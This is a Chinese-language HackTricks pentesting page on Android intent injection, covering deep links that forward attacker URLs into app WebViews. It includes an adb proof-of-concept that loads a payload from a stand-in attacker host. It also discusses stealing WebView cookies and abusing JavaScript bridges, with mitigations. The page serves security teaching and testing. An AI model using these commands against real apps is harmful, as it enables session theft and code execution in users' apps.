Intent Injection

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Intent injection 利用接受攻击者控制的 Intents 或稍后转换为 Intents 的数据的组件。在 Android 应用渗透测试中,有两种非常常见的模式:

  • 将精心制作的 extras 传递给导出的 Activities/Services/BroadcastReceivers,这些 extras 随后被转发到特权的、未导出的组件。
  • 触发导出的 VIEW/BROWSABLE 深度链接,将攻击者控制的 URL 转发到内部 WebViews 或其他敏感接收点。

如果一个应用程序暴露了一个自定义方案深度链接,例如:

text
myscheme://com.example.app/web?url=<attacker_url>

当接收的 Activity 将 url 查询参数转发到 WebView 时,您可以强制应用在其自己的 WebView 上下文中渲染任意远程内容。

通过 adb 的 PoC:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

影响

  • HTML/JS 在应用的 WebView 配置中执行。
  • 如果启用了 JavaScript(默认或由于检查顺序错误),您可以枚举/使用任何暴露的 @JavascriptInterface 对象,窃取 WebView cookies/本地存储,并进行转移。

另请参见:

Webview Attacks

启用 JavaScript 的检查顺序错误

一个反复出现的错误是在最终 URL 允许列表/验证完成之前启用 JavaScript(或其他宽松的 WebView 设置)。如果早期的助手接受了您的深层链接,并且 WebView 首先被配置,则即使后续检查存在缺陷或太晚,您的最终加载也会在 JavaScript 已启用的情况下发生。

在反编译代码中要查找的内容:

  • 多个助手以不同方式解析/拆分/重建 URL(不一致的规范化)。
  • 在最后的主机/路径允许列表检查之前调用 getSettings().setJavaScriptEnabled(true)
  • 一个管道,如:解析 → 部分验证 → 配置 WebView → 最终验证 → loadUrl。

缓解措施

  • 进行一次规范化并严格验证;失败时关闭。
  • 仅在所有检查通过后并在加载受信任内容之前启用 JavaScript。
  • 避免将桥接暴露给不受信任的来源。

其他经典的 Intent 注入原语

  • 使用攻击者提供的 Intent 附加数据启动活动/发送广播,这些数据随后被重新解析(Intent.parseUri(...))并执行。
  • 导出代理组件在没有权限检查的情况下将 Intents 转发到未导出的敏感组件。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks